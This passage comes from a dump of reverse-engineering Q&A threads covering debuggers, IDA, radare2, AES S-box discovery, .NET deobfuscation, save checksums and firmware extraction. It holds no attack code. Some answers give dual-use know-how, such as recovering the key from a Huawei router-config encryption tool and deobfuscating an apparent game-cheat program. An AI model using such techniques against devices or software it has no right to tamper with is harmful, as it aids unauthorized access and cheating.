    [0x00400637]> wx 41424344 @ rbp-0x10\n[0x00400637]> afvd\nvar local_10h = 0x7ffffa0c1870  0x00007fff44434241   `ABCD... r13 stack R W 0x1 -->  rdi\n
    \n\n

    So this is a way to manipulate a value of a variable.

    \n\n
    \n\n

    radare2 is an Open-Source project with great community and developers, feel free to open an issue, or even better, propose a pull-request so we all can benefit from this feature.

    \n" }, { "Id": "17127", "CreationDate": "2018-01-05T22:54:15.793", "Body": "

    I wanted to see what Microsoft are doing when you click \"Restart now\" button in their Settings -> Update window on Windows 10:

    \n\n

    \"enter

    \n\n

    Somehow the results are not the same what is available via InitiateSystemShutdownEx or InitiateShutdown WinAPIs, especially concerning installation of updates.

    \n\n

    So I wanted to look into the code they use for that Restart button. Usually I would use Spy++ to look up a parent window's WndProc and then load the process in IDA Pro and put a breakpoint on it. Then trap a condition for the BM_CLICK message.

    \n\n

    In this case though, the whole settings is a window of its own. The button does not appear in Spy++:

    \n\n

    \"enter

    \n\n

    Any ideas how do I proceed from there?

    \n", "Title": "How to reverse engineer a Windows 10 UWP app?", "Tags": "|ida|debugging|windows-10|", "Answer": "

    As promised, I am back to post a more specific answer to the question that was asked by the OP.

    \n\n

    Decided to write this as a separate answer as I believe that this content stands out on its own and would not properly fit in with either of the two answers that I posted above.

    \n\n

    Addressing his first issue :

    \n\n
    \n

    In this case though, the whole settings is a window of its own. The\n button does not appear in Spy++

    \n
    \n\n

    Well, the button does appear when using tools other than Spy++.
    \nI am pasting screenshots of 2 tools with the help of which the properties of the RESTART button can be discovered.

    \n\n

    Using the INSPECT TOOL that is a part of the Microsoft SDK :

    \n\n

    \"INSPECT

    \n\n

    and also using the UI Spy Tool (Please note that many other tools can also be used) for this purpose ...

    \n\n

    \"Properties

    \n\n

    Now we will see what code we BREAK ON when we click the RESTART button :

    \n\n

    Firstly, Run the System Settings Manager (SystemSettings.exe would be seen in the Task Manager).
    \n\"Attach\" to the SystemSettings.exe process with a debugger (I used the [excellent] x64dbg Debugger for this purpose).
    \nMake sure that you tick the Break on DLL Load in the Debugger Settings as shown below :

    \n\n

    \"DLL

    \n\n

    Now we *click on the RESTART NOW button* (of the Windows Settings Window). We will break in the debugger as the \"SettingsHandlers_nt.dll\" gets loaded into the process.

    \n\n

    This is the main dll that handles the events (clicks etc) of the Settings Window.

    \n\n

    \"SettingsHandlers_nt.dll

    \n\n

    \"We

    \n\n

    This is a part of the Control Flow Graph that actually takes the decision to \ngo for a restart :

    \n\n

    \"Restarts

    \n\n
    \n

    Somehow the results are not the same what is available via\n InitiateSystemShutdownEx or InitiateShutdown WinAPIs, especially\n concerning installation of updates.

    \n
    \n\n

    The OP is right .
    \nThe actual Decision-Making Part for the [Automatic] Restarts after Microsoft Updates is handled by the MusUpdateHandlers.dll as can be seen below:

    \n\n

    \"CFG

    \n\n

    and also here :

    \n\n

    \"Code

    \n\n

    I have added the last 2 screenshots as the OP had wanted to know what API are invoked when the system restarts after an UPDATE...

    \n\n

    I hope that this now concludes the answer to what @c00000fd wanted to know...

    \n" }, { "Id": "17129", "CreationDate": "2018-01-06T08:52:08.990", "Body": "

    In practicing reading source code and analysing I've been looking at a program called aescrypt2_huawei which floats around the web and encrypts/decrypts the XML config file from Huawei routers like the HG8245 router installed by Internet Service Providers. The router is discussed on a number of blogs and the aescrypt2 can be downloaded and examined. I have also found the source code and put it on GitHub.

    \n\n

    So far I've found:

    \n\n
      \n
    • NIST SHA256 Test Vector in the source
      • \n
    • inflate 1.2.5 calling code
      • \n
    • Identified the code path to the decrypt section
      • \n
    \n\n

    What I haven't found:

    \n\n
      \n
    • Any S-boxes for AES
      • \n
    • The key
      • \n
    \n\n

    Running findcrypt in IDA Pro is also not turning up anything which leads me to believe my findcrypt plugin isn't working. However, I then start looking for the S-boxes sequence 0x63 0x7c which can easily be found in the source code and IDA pro doesn't find that either... I then dropped to hexdump and searched for 0x63 and it is not there. Given that I can see the S-box in the source and I just compiled the binary myself what am I doing wrong?

    \n\n

    Shouldn't the forward S-box appear in the data segment more or less as-is?

    \n\n

    And now that I've found the key through the debugger in the .bss segment why isn't the string in the data segment?

    \n", "Title": "Finding the encryption key in a binary - IDA Pro and how an S-box might be represented in the binary", "Tags": "|ida|encryption|", "Answer": "

    Initialization of the forward S-box

    \n\n

    As you probably saw in the source-code, the forward S-box is present several times and initialized at two different places.

    \n\n

    The first time that the forward S-box (Fsb) is declared is at the top of aes.c:

    \n\n
    uint32 FSb[256];\n
    \n\n

    This array is then dynamically generated by aes_gen_tables() like this:

    \n\n
    FSb[0x00] = 0x63;\nRSb[0x63] = 0x00;\n\nfor( i = 1; i < 256; i++ )\n{\n    x = pow[255 - log[i]];\n\n    y = x;  y = ( y << 1 ) | ( y >> 7 );\n    x ^= y; y = ( y << 1 ) | ( y >> 7 );\n    x ^= y; y = ( y << 1 ) | ( y >> 7 );\n    x ^= y; y = ( y << 1 ) | ( y >> 7 );\n    x ^= y ^ 0x63;\n\n    FSb[i] = x;\n    RSb[x] = i;\n}\n
    \n\n

    The other initialization of Fsb[256] is easy to spot in the code file and is a static constant which is defined like this:

    \n\n
    /* forward S-box */\n\nstatic const uint32 FSb[256] =\n{\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5,\n    0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,\n    0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,\n    0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A,\n\n         < ... Truncated for readability ... >\n\n    0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,\n    0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16\n};\n
    \n\n
    \n\n

    Two initialization of Fsb[]?

    \n\n

    Yes, the author of the program describes it in the comments:

    \n\n
    /* uncomment the following line to use pre-computed tables */\n/* otherwise the tables will be generated at the first run */\n\n/* #define FIXED_TABLES */\n\n#ifndef FIXED_TABLES\n\n/* forward S-box & tables */\n...\n...\n...\n\n#else\n\n/* forward S-box */\n\nstatic const uint32 FSb[256] =\n{\n    0x63, 0x7C, 0x77, ...\n...\n...\n
    \n\n

    Thus, if you want the array to be pre-determined, just uncomment #define FIXED_TABLES and you'll be fine.

    \n\n
    \n\n

    Debugger time!

    \n\n

    The functions which is responsible to generate the forward S-box is aes_gen_tables( void ) which is called from aes_set_key( ... ). The latter is called from the aescrypt2.c. We can spot the call to aes_set_key() in IDA:

    \n\n

    \"enter

    \n\n

    From there, locating aes_gen_tables() is easy peasy:

    \n\n

    \"enter

    \n\n

    As we said, the array is dynamically filled with values and we can view it using the debugger. Let's find the address of the array to be initialized and put a Hardware Breakpoint on Write on this address.

    \n\n

    Here's the part where the first item of the Fsb is initialized:

    \n\n

    \"enter

    \n\n

    This is the equivalent part from the source code:

    \n\n
    /* generate the forward and reverse S-boxes */\n\nFSb[0x00] = 0x63;\nRSb[0x63] = 0x00;\n
    \n\n

    Now put the Hardware Breakpoint on 0x00412F00:

    \n\n

    \"enter

    \n\n

    Now we all set and we can start the debug session. Press the play button and start the program, then you'll have to input information to the console that has just popped up. After done, pressing Enter in the console will trigger our HW breakpoint. This is where Fsb[0] is set to 0x63. Press the play button and the breakpoint again will be triggered, this time it's at the end of the generation loop and our array will be filled:

    \n\n

    \"enter

    \n\n

    There we go, now we found our forward S-box after it was dynamically generated by the program.

    \n" }, { "Id": "17137", "CreationDate": "2018-01-06T22:09:10.870", "Body": "

    (I made a topic but I was ask'd to re-made it)

    \n\n

    Hi! I have a program and when I want to decompile/dissamble it finish and when I inspect the code everywhere where should be some filenames there are .(xxxxxxx)

    \n\n

    A string example:

    \n\n
    string[] strArrays = new string[] { .(724934127), .(724937998), .(724937298), .(724933662), .(724933645), .(724936743), .(724933692), .(724933676), .(724933726), .(724933696), .(724933746), .(724933730), .(724933791), .(724937480), .(724933761), .(724933821), .(724933805), .(724933840), .(724933839), .(724933887), .(724933868), .(724931357), .(724931342), .(724931388), .(724931368), .(724931363), .(724931415), .(724937065), .(724931448), .(724931434), .(724931482), .(724931469), .(724931517), .(724931499), .(724938544), .(724931547), .(724931531), .(724931582), .(724931567), .(724938934), .(724931101), .(724938572), .(724931078), .(724931127), .(724940776), .(724937657), .(724931160), .(724940554), .(724938456), .(724936855), .(724931149), .(724931186), .(724936788), .(724931227), .(724937236), .(724931203), .(724931249), .(724931247), .(724931293), .(724931275), .(724931323), .(724931305), .(724931303), .(724930838), .(724930873), .(724930869), .(724930853), .(724930902), .(724930885), .(724930932), .(724930918), .(724930962), .(724930945), .(724931005), .(724930985), .(724930983), .(724931016), .(724931011), .(724931070), .(724931054), .(724930579)\n
    \n\n

    There should be something like:

    \n\n
    string[] array = new string[]{filename.dll, cheat.dll, hack_name, and so on...};\n
    \n\n

    How I can make it \"readable\" ? Thanks!

    \n\n

    (Sorry if I did break somehow the rules :/)

    \n", "Title": "Encrypted String?", "Tags": "|disassembly|decompilation|encryption|c#|", "Answer": "

    It looks like obfuscated .net code. It also looks like that some names of properties/classes are obfuscated into some kind of unicode/other-non-readable representation, and your \".(724942833)\" is actually \"some_unreadable_symbol.some_probably_other_unreadable_symbol(724942833)\".

    \n\n

    Unreadable symbols should lead to classes and methods which will allow to understand what exactly happens there.\nIn order to make this mess readable you should rename these methods/classes into readable form. Did you try de4dot ? According to its features list it should solve this problem instantly.

    \n" }, { "Id": "17140", "CreationDate": "2018-01-07T10:27:38.940", "Body": "

    I bring you either a hard challenge or the easiest challenge you've ever had.

    \n\n

    I have a save file for this game The first bytes are:

    \n\n
    F9 29 CE 54 02 4D 71 04 4D 71 00 00 \n
    \n\n

    this is the same throughout every save file I create, now this is where I come to you guys, I can't see anywhere in IDA where it's generating this \"checksum\" I looked at the string refs for \"savegame.dat\" it's reffed in 3 places but when I do C psuedo-code I can't see any writing to file happening around the refs, so maybe I am going crazy?

    \n\n

    Anyway, like I was saying, the check sum I get back looks like this:

    \n\n
    45 13 CD 5A 02 00 00 00\n
    \n\n

    It might not end in the trailing 00's, I only include them because this goes up to 8 bytes which seems logically, there is still lots of file to go, but it goes randomly like 05, 02, 01 etc so I don't think it would be needed however a better person will likely prove me wrong :).

    \n\n
    45 56 42 E5 01 00 00 00\nC4 94 3D 73 08 00 00 00\n4C 67 FA 44 01 00 00 00\n45 13 CD 5A 02 00 00 00\nD8 9A F1 E6 0A 00 00 00\nF7 84 4F 99 02 00 00 00\n18 4B 4F 56 02 00 00 00\n25 44 F6 AF BF 00 00 00\n
    \n\n

    What little advice I can offer is there was a section later in this file that had

    \n\n
    00 00 00 00 00 00 00 00 00 00 00 00 E2 07 00 02 07 77 18 00 46 00 00 00 E2 07 00 02 07 B7 B0 00 66 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00\n
    \n\n

    which after testing with someone we determined this is \"Creation\" and either \"Last accessed\" or \"Last modified\" we found this out because what goes into E2 07's in INT16 - Little Endian is what the year is, although we don't know what the last few parts are. But that isn't what this is about. It's more an idea saying that it might be fully Little Endian.

    \n\n

    Any advice how I could find in Ida or anything else would be greatly appreciated :).

    \n", "Title": "Identifying Checksum?", "Tags": "|file-format|hex|", "Answer": "

    Turns out it was a XOR'd checksum, managed to figure it out and will be here: https://github.com/Arefu/Wolf if people want to see it in action in the future.

    \n" }, { "Id": "17144", "CreationDate": "2018-01-08T01:40:24.987", "Body": "

    I assembled a simple objective-c file that prints hello to the screen. this is the code:

    \n\n
    #import <Foundation/Foundation.h>\nint main() {\n    NSString* a = [NSString stringWithUTF8String: \"hi\"];\n    NSLog(a);\n    return 0;\n}\n
    \n\n

    When I assembled it and converted it into Nasm syntax, this is the output:

    \n\n
    section .text\ndefault rel\nextern _OBJC_CLASS_$_NSString\nextern _NSLog\nextern _objc_msgSend   \nglobal _main \n_main:   \n    push rbp \n    mov rbp, rsp \n    sub rsp, 16 \n    lea rdx, [ L_.str] \n    mov dword [rbp - 4], 0\n    mov rax, qword [ L_OBJC_CLASSLIST_REFERENCES_$_] \n    mov rsi, qword [ L_OBJC_SELECTOR_REFERENCES_]\n    mov rdi, rax \n    call    _objc_msgSend \n    mov qword [rbp - 16], rax \n    mov rax, qword [rbp - 16] \n    mov rdi, rax ; rdi has rax\n    mov al, 0 \n    call    _NSLog \n    xor eax, eax \n    add rsp, 16 \n    pop rbp \n    ret \n\nsegment __DATA,__objc_classrefs\nL_OBJC_CLASSLIST_REFERENCES_$_: dq  _OBJC_CLASS_$_NSString\n\n    segment __TEXT,__cstring\nL_.str: db  \"hi\"\n\n    segment .__TEXT,.__objc_methname\nL_OBJC_METH_VAR_NAME_:   db \"stringWithUTF8String:\"\n\n    segment __DATA,__objc_selrefs\nL_OBJC_SELECTOR_REFERENCES_: dq L_OBJC_METH_VAR_NAME_\n\n    segment __DATA,__objc_imageinfo\nL_OBJC_IMAGE_INFO:\n    dd  0\n    dd  64\n
    \n\n

    I understand most of it, like the different objc segments, but I dont understand things like mov rax, qword [rbp - 16] or even mov al, 0. This is 64 bit assembly code so why is the register al referenced? and why is [rbp-16] stored into rax?

    \n", "Title": "Objective-C disassembling - I dont understand this code", "Tags": "|osx|nasm|", "Answer": "

    The instructions

    \n\n
    mov qword [rbp - 16], rax \nmov rax, qword [rbp - 16] \n
    \n\n

    are created by the compiler which is using stack based memory allocation to store the result from the NSString objc call. If you compile with optimizations, the compiler should eliminate the need to store the value in stack altogether.

    \n\n

    The

    \n\n
    mov al, 0\n
    \n\n

    is set as an input to the NSLog function which is a variadic function so it needs a way to determine how many variables are stored in vector registers (xmm/ymm) vs general purpose ones (e.g. rdi, rsi, etc.) when processing the input arguments. Since the number of vector registers is far less than 256, it only needs to use 8-bits and will only look at al. This saves a bit of space in code utilization as the mov al, xx operation only takes 2 bytes.

    \n" }, { "Id": "17158", "CreationDate": "2018-01-08T23:27:00.313", "Body": "

    I'm digging into a BLE product based on a CC2541 MCU (similar to the Texas Instruments SensorTag). So for experimenting we can use an official firmware: http://processors.wiki.ti.com/images/1/10/SensorTagFW_1_5.zip

    \n\n

    binwalk does not give any results.\nstrings give some valid information, so the file is ok.

    \n\n

    Reading the datasheet for CC2541 tells it is a 8051 controller. (?)

    \n\n

    So i tried:

    \n\n
    root@kali:~/bm2# radare2 -a 8051 firmware.bin \nCannot set bits 32 to '8051'\nCannot set bits 32 to '8051'\n -- Use 'e' and 't' in Visual mode to edit configuration and track flags.\n[0x00000000]> aaaa\n[*** invalid %N$ use detected ***th sym. and entry0 (aa)\nAborted\n
    \n\n

    I know there is an open bug about %N$:\nhttps://github.com/radare/radare2/issues/3944

    \n\n

    Do i do it all wrong, or can somebody point me in the right direction? A bit unsure about the MCU settings and bitsize though.

    \n", "Title": "Disassemble CC2541 firmware (TI SensorTag)", "Tags": "|disassembly|firmware|radare2|8051|", "Answer": "

    This issue is now fixed and you should be able to load the firmware with the command line you tried.

    \n\n

    Also check out the recent addition to the r2 documentation for more details about 8051 support.\nhttps://github.com/radareorg/radare2book/blob/master/arch/8051.md

    \n" }, { "Id": "17159", "CreationDate": "2018-01-09T04:47:19.347", "Body": "

    I am using IDA Free for malware analysis and I wanted to patch a binary I am looking at. I applied the patch by using the patch menu, which modifies the DATABASE representation of the executable.

    \n\n

    When I go to run the executable via Debugger -> Run, it warns me that the database has been patched and there may be inconsistencies. However, when it finally runs it runs the original executable without patched code!

    \n\n

    Is there a way to tell IDA to run the patched code? Or, since it's only patched in the database, my only choice is to export a DIF file and patch it manually to confirm it works?

    \n", "Title": "Running a patched binary within IDA Free", "Tags": "|ida|", "Answer": "

    IDA Free doesn't support the \"Apply patches to input file...\" feature. Hence, you'll have to do this the old way. I'll expand my answer and will go over things you already know so others (e.g coming from search engines) can benefit from a whole complete answer.

    \n\n

    Edit the configuration file

    \n\n

    The first thing you have to do is to modify an IDA GUI configuration file named idagui.cfg. You should be able to find the file at \"IDA Free\\cfg\\idagui.cfg\". Locate the file and change \"DISPLAY_PATCH_SUBMENU\" form \"NO\" to \"YES\".

    \n\n

    After that, start IDA Free and you'll see a fresh new sub-menu called \"Patch program\".

    \n\n

    Patching

    \n\n

    You should be able to use this sub-menu to edit the program. It's pretty intuitive, just put your cursor wherever you want to make a change, and choose the appropriate option from the sub-menu.

    \n\n

    Notice that every patch you do is only affected on the IDB, the IDA Database. Thus, the binary on disk won't be affected and when you'll try to debug/execute it you will not see your patches.

    \n\n

    Exporting a .DIF file

    \n\n

    When you finish with all your patches, it's time to apply them to the binary on disk. To do this, you'll first have to produce a .DIF file that will contain a list of the changes you've made.

    \n\n

    To produce this file go to File -> Produce File -> Create DIF file...\".

    \n\n

    Applying the changes to the binary

    \n\n

    You can use this Python script by stalker to apply the changes. Use it like this:

    \n\n
    $ idadif.py <original_binary> <IDA_DIF_file.dif> [revert]\n
    \n\n

    Alternatives:
    \nNote that I didn't test these alternatives and I'm pretty sure that some of them will not work with IDA Free

    \n\n\n" }, { "Id": "17178", "CreationDate": "2018-01-12T00:10:23.027", "Body": "

    I'm trying to disassembly x64 executable (dll) using Capstone. But operand address returned by it doesn't match disassembly from IDA/HIEW.

    \n\n

    Here is the machine code:

    \n\n
    0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00\n
    \n\n

    In IDA/HIEW the disassembly is:

    \n\n
    lea  rcx,[0000148F8]\n
    \n\n

    But by using Capstone (with PowerShell bindings) I get different address 0x144ed:

    \n\n
    Get-CapstoneDisassembly -Architecture CS_ARCH_X86 -Mode CS_MODE_64 -Bytes (\n    0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00\n) -Address 0x1800000004096 -Detailed\n\nSize     : 7\nAddress  : 0x180001000\nMnemonic : lea\nOperands : rcx, qword ptr [rip + 0x144ed]\nBytes    : {72, 141, 13, 237, 68, 1, 0, 148, 204, 148, 0, 17, 0, 128, 0, 0}\nRegRead  :\nRegWrite :\n
    \n\n

    You can verify this online by using Capstone.js and 488D0DED440100 as input.

    \n\n

    I've also tried SharpDisasm, but result is the same:

    \n\n
    lea rcx, [rip+0x144ed]\n
    \n\n

    Could somebody help me to understand what's happening here?

    \n", "Title": "Operand address in Capstone disassembly is not the same as in IDA/HIEW", "Tags": "|disassembly|address|capstone|", "Answer": "

    This is RIP-relative addressing. Basically, it is adding 0x144ed to the address of the very next instruction - i.e. rcx = rip + 7 (since this instruction is 7 bytes) + 0x144ed. In IDA, that instruction is located at 0x404 so it is adding 0x144ed to (0x404+7) = 0x148f8

    \n" }, { "Id": "17181", "CreationDate": "2018-01-12T10:01:33.780", "Body": "

    Does anyone know why the PE DOS stub often includes repetitive looking data that does not seem to be valid 16bit commands?

    \n\n

    \"enter

    \n", "Title": "PE DOS stub content not commands", "Tags": "|pe|dos-exe|pe32|", "Answer": "

    This is the so-called \"Rich header\", added by Microsoft's link.exe (you can see the text \"Rich\" at the end of the mysterious block). It contains information about the versions of compilers and other tools which participated in producing the code of the executable. Some references:

    \n\n\n" }, { "Id": "17187", "CreationDate": "2018-01-12T22:45:17.870", "Body": "

    Binwalk v2.1.1 on Ubuntu, and tried to research Zyxel Router firmware. First I unzipped FW, there was 3 files:

    \n\n
    360AUG0C0.bin, 360AUG0C0.rom, AUG107.bm\n
    \n\n

    I used binwalk to extract content of bin file, binwalk -Me 360AUG0C0.bin, but extracted content was just a lot of xml files and two .7z archives. What can be a problem? Below is binwalk log:

    \n\n
    Scan Time:     2018-01-13 00:07:37\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/360AUG0C0.bin\nMD5 Checksum:  9c6fd89abcc52bebe35f9120ce84c0bf\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n60068         0xEAA4          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n60224         0xEB40          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n98352         0x18030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 227420 bytes\n232724        0x38D14         Unix path: /usr/share/tabset/vt100:\\\n233492        0x39014         ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n233512        0x39028         ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n307248        0x4B030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5587504 bytes\n\n\nScan Time:     2018-01-13 00:07:38\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/18030\nMD5 Checksum:  325a9d0d1f51e73fd07acc08941e72a2\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n\n\nScan Time:     2018-01-13 00:07:38\nTarget File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/4B030\nMD5 Checksum:  31495089c3a566f413f2b86afed41c82\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3441718       0x348436        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n3442044       0x34857C        Copyright string: \"Copyright (c) 1994 - 2006 ZyXEL Communications Corp.\"\n3471518       0x34F89E        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n3493934       0x35502E        Neighborly text, \"neighbor loss %d: adslAtucPerfLolThreshTrap\"\n3552100       0x363364        CRC32 polynomial table, big endian\n3591525       0x36CD65        Unix path: /UDP/ICMP/GRE/ESP, from %s, proto=%u\n3592386       0x36D0C2        Unix path: /UDP/ICMP/GRE/ESP, proto=%u\n3607249       0x370AD1        Unix path: /in/out/both/none]\n3621495       0x374277        Unix path: /disableAllExceptTrusted/unblockRWFToTrusted/keywordBlock/fullPath/caseInsensitive/fileName][enable/disable]\n3700452       0x3876E4        Unix path: /C/Zyxel-XXXXXXXXX/CBRCPRXX/-/0104/0/www.taiwan-adult.com/80/ HTTP/1.1\n3705584       0x388AF0        HTML document footer\n3705864       0x388C08        HTML document header\n3706140       0x388D1C        HTML document header\n3715484       0x38B19C        Base64 standard index table\n3869496       0x3B0B38        ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n3906504       0x3B9BC8        XML document, version: \"1.0\"\n3910084       0x3BA9C4        XML document, version: \"1.0\"\n3910916       0x3BAD04        XML document, version: \"1.0\"\n3916304       0x3BC210        XML document, version: \"1.0\"\n3917004       0x3BC4CC        XML document, version: \"1.0\"\n3928628       0x3BF234        XML document, version: \"1.0\"\n3937121       0x3C1361        HTML document header\n3937822       0x3C161E        XML document, version: \"1.0\"\n3937939       0x3C1693        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n3984353       0x3CCBE1        HTML document header\n3985051       0x3CCE9B        XML document, version: \"1.0\"\n3985167       0x3CCF0F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n3989273       0x3CDF19        HTML document header\n3989960       0x3CE1C8        XML document, version: \"1.0\"\n3990074       0x3CE23A        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n3994089       0x3CF1E9        HTML document header\n3994779       0x3CF49B        XML document, version: \"1.0\"\n3994895       0x3CF50F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n3996009       0x3CF969        HTML document header\n3996705       0x3CFC21        XML document, version: \"1.0\"\n3996823       0x3CFC97        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4030866       0x3D8192        Base64 standard index table\n4038917       0x3DA105        Copyright string: \"Copyright.html\"\n4055567       0x3DE20F        Copyright string: \"copyright {\"\n4056555       0x3DE5EB        Copyright string: \"copyright {\"\n4058339       0x3DECE3        Copyright string: \"copyright {\"\n4069187       0x3E1743        Copyright string: \"copyright {\"\n4124248       0x3EEE58        HTML document header\n4124852       0x3EF0B4        XML document, version: \"1.0\"\n4124966       0x3EF126        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4138534       0x3F2626        HTML document header\n4139218       0x3F28D2        XML document, version: \"1.0\"\n4139335       0x3F2947        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4143697       0x3F3A51        HTML document header\n4144384       0x3F3D00        XML document, version: \"1.0\"\n4144498       0x3F3D72        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4148081       0x3F4B71        HTML document header\n4148765       0x3F4E1D        XML document, version: \"1.0\"\n4148879       0x3F4E8F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4158731       0x3F750B        Copyright string: \"Copyright.html','Copyright','width=430,height=310')\" onMouseOut=\"MM_swapImgRestore()\" onMouseOver=\"MM_swapImage('Image4','','ima\"\n4158748       0x3F751C        Copyright string: \"Copyright','width=430,height=310')\" onMouseOut=\"MM_swapImgRestore()\" onMouseOver=\"MM_swapImage('Image4','','images/i_about_on.gi\"\n4223380       0x407194        Copyright string: \"Copyright 2005 by ZyXEL Communications Corp.\"\n4223432       0x4071C8        Copyright string: \"Copyright 2005 par ZyXEL Communications Corp.\"\n4223484       0x4071FC        Copyright string: \"Copyright 2005 por ZyXEL Communications Corp.\"\n4223536       0x407230        Copyright string: \"Copyright 2005 di ZyXEL Communications Corp.\"\n4345709       0x424F6D        HTML document header\n4346435       0x425243        XML document, version: \"1.0\"\n4346551       0x4252B7        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4353349       0x426D45        HTML document header\n4354061       0x42700D        XML document, version: \"1.0\"\n4354179       0x427083        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4356825       0x427AD9        HTML document header\n4357526       0x427D96        XML document, version: \"1.0\"\n4357643       0x427E0B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4359497       0x428549        HTML document header\n4360206       0x42880E        XML document, version: \"1.0\"\n4360323       0x428883        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4365849       0x429E19        HTML document header\n4366552       0x42A0D8        XML document, version: \"1.0\"\n4366667       0x42A14B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4411292       0x434F9C        XML document, version: \"1.0\"\n4420321       0x4372E1        HTML document header\n4421032       0x4375A8        XML document, version: \"1.0\"\n4421147       0x43761B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4423521       0x437F61        HTML document header\n4424231       0x438227        XML document, version: \"1.0\"\n4424347       0x43829B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4471437       0x443A8D        HTML document header\n4472110       0x443D2E        XML document, version: \"1.0\"\n4472224       0x443DA0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4476657       0x444EF1        HTML document header\n4477328       0x445190        XML document, version: \"1.0\"\n4477442       0x445202        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4480441       0x445DB9        HTML document header\n4481123       0x446063        XML document, version: \"1.0\"\n4481237       0x4460D5        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4482881       0x446741        HTML document header\n4483568       0x4469F0        XML document, version: \"1.0\"\n4483682       0x446A62        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4488597       0x447D95        HTML document header\n4489274       0x44803A        XML document, version: \"1.0\"\n4489388       0x4480AC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4494041       0x4492D9        HTML document header\n4494721       0x449581        XML document, version: \"1.0\"\n4494835       0x4495F3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4541701       0x454D05        HTML document header\n4542383       0x454FAF        XML document, version: \"1.0\"\n4542497       0x455021        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4544889       0x455979        HTML document header\n4545511       0x455BE7        XML document, version: \"1.0\"\n4545625       0x455C59        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4546029       0x455DED        HTML document header\n4546715       0x45609B        XML document, version: \"1.0\"\n4546829       0x45610D        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4548489       0x456789        HTML document header\n4549184       0x456A40        XML document, version: \"1.0\"\n4549298       0x456AB2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4555897       0x458479        HTML document header\n4556588       0x45872C        XML document, version: \"1.0\"\n4556702       0x45879E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4626461       0x46981D        HTML document header\n4627117       0x469AAD        XML document, version: \"1.0\"\n4627231       0x469B1F        Unix path: 